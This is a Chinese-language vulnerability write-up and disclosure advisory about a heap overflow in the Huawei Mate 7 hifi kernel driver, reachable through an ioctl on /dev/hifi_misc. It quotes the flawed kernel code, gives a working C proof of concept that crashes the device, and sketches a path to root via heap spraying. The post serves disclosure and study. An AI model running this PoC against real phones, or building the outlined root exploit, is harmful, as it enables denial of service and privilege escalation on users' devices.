Shawn:感谢Pray3r的分享,驱动一直以来都是linux内核的重灾区,要以不断修复bug的方式去防御漏洞几乎是1990年代的方案,另外一方面,作为厂商也应该加大代码审计的投入。这篇分析的 英文版已经分享到了DNFWAH Issue 5 上。
By Pray3r
/dev/hifi_misc
是用户空间到内核空间中Hisi 芯片的一个接口,该接口和Hifi相关。我们看到 drivers/hisi/hifidsp/hifi_lpp.c
中的代码,攻击者可以在用户空间下,可以使用 HIFI_MISC_IOCTL_WRITE_PARAMS
参数,并通过调用 ioctl()
执行到该代码路径:
static long hifi_misc_ioctl(struct file *fd, unsigned int cmd, unsigned long arg) { [...] switch(cmd) { [...] case HIFI_MISC_IOCTL_WRITE_PARAMS : /* write algo param to hifi*/ ret = hifi_dsp_write_param(arg); break; [...] } [...] }
之后, hifi_dsp_write_param()
函数被调用,它的参数来自用户空间:
int hifi_dsp_write_param(unsigned long arg) { int ret = OK; phys_addr_t hifi_param_phy_addr = 0; void* hifi_param_vir_addr = NULL; CARM_HIFI_DYN_ADDR_SHARE_STRU* hifi_addr = NULL; struct misc_io_sync_param para; [...] if (copy_from_user(¶, (void*)arg, sizeof(struct misc_io_sync_param))) { // arg --> para loge("copy_from_user fail./n"); ret = ERROR; goto error1; } [...] hifi_param_vir_addr = (unsigned char*)ioremap(hifi_param_phy_addr, SIZE_PARAM_PRIV); // heap alloc if (NULL == hifi_param_vir_addr) { loge("hifi_param_vir_addr ioremap fail/n"); ret = ERROR; goto error2; } [...] ret = copy_from_user(hifi_param_vir_addr, para.para_in, para.para_size_in); // heap overflow if ( ret != 0) { loge("copy data to hifi error! ret = %d", ret); } [...] }
参数 arg
是一个结构体指针,指向用户空间的内存。 hifi_dsp_write_param()
函数初始化之后,使用 copy_from_user()
将用户空间的数据 (arg)
拷贝到内核空间中 (para)
。注意,它没做任何验证,就将用户空间下的所用的成员变量拷贝到内核空间中。 para
结构如下:
struct misc_io_sync_param { void * para_in; unsigned int para_size_in; void * para_out; unsigned int para_size_out; };
紧接着,又调用了 copy_from_user(hifi_param_vir_addr, para.para_in, para.para_size_in)
hifi_param_vir_addr
指向一块由 ioremap()
分配的堆内存,这块堆内存的大小为 SIZE_PARAM_PRIV
(200 * 1024)字节。 para.para_in
指针由用户空间控制,它是存储数据的内存。 para.para_size_in
是一个 unsigned int
由用户空间控制,它是 para.para_in
的大小。 然而,代码中没有对 para.para_in
和 para.para_size_in
进行验证,如果 para.para_size_in
大于 200 * 1024
,例如 300 * 1024
,将产生一个堆溢出。PoC如下:
/* * * HuaWei Mate7 hifi driver Poc * * Writen by pray3r<pray3r.z@gmail.com> * */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #define HIFI_MISC_IOCTL_WRITE_PARAMS _IOWR('A', 0x75, struct misc_io_sync_param) struct misc_io_sync_param { void * para_in; unsigned int para_size_in; void * para_out; unsigned int para_size_out; }; int main(int arg, char **argv) { int fd; void *in = malloc(300 * 1024); void *out = malloc(100); struct misc_io_sync_param poc; poc.para_in = in; poc.para_size_in = 300 * 1024; poc.para_out = out; poc.para_size_out = 100; fd = open("/dev/hifi_misc", O_RDWR); ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc); free(in); free(out); return 0; }
执行这个PoC将导致Mate 7崩溃,请注意,该PoC至少需要在audio或system用户下执行,因为 /dev/hifi_misc
在audio和system用户下才有可写的权限。
第一,设置一个很大的值给 para.para_size
,手机会崩溃;
第二,如果 para.para_in
指向一个内核结构,使用 heap fengshui
技术可能被利用;
第三,可以使用类似堆喷射 thread_info
,攻击者可能获取到手机的root权限。
/dev/hifi_misc
只有至少在audio或system用户下才有可写权限,所以攻击者想利用该漏洞获取到root权限,可能需要先利用其它漏洞获取到audio或system权限,再去获取root权限。
该利用方式类似于之前Keen Team发布的Mate 7的root工具的利用方式:
1. http://www1.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-414174.htm
2. http://forum.xda-developers.com/mate-7/general/wip-mate-7-root-bl-unlock-t2995086
Model : HUAWEI MT7-TL10 Version : MT7-TL10V100R001CHNC00B133 Android : 4.4.2 Kernel : 3.10.30-00015-g049a08f
其它类似的华为手机可能也受影响。
参考华为官网的信息:
http://www1.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-460347.htmSep 28 2015 - Report sent to Huawei PSIRT
Sep 10 2015 - Huawei confirmed the security issues
Nov 04 2015 - Huawei fixed and public the security issues
Nov 09 2015 - Update CVE number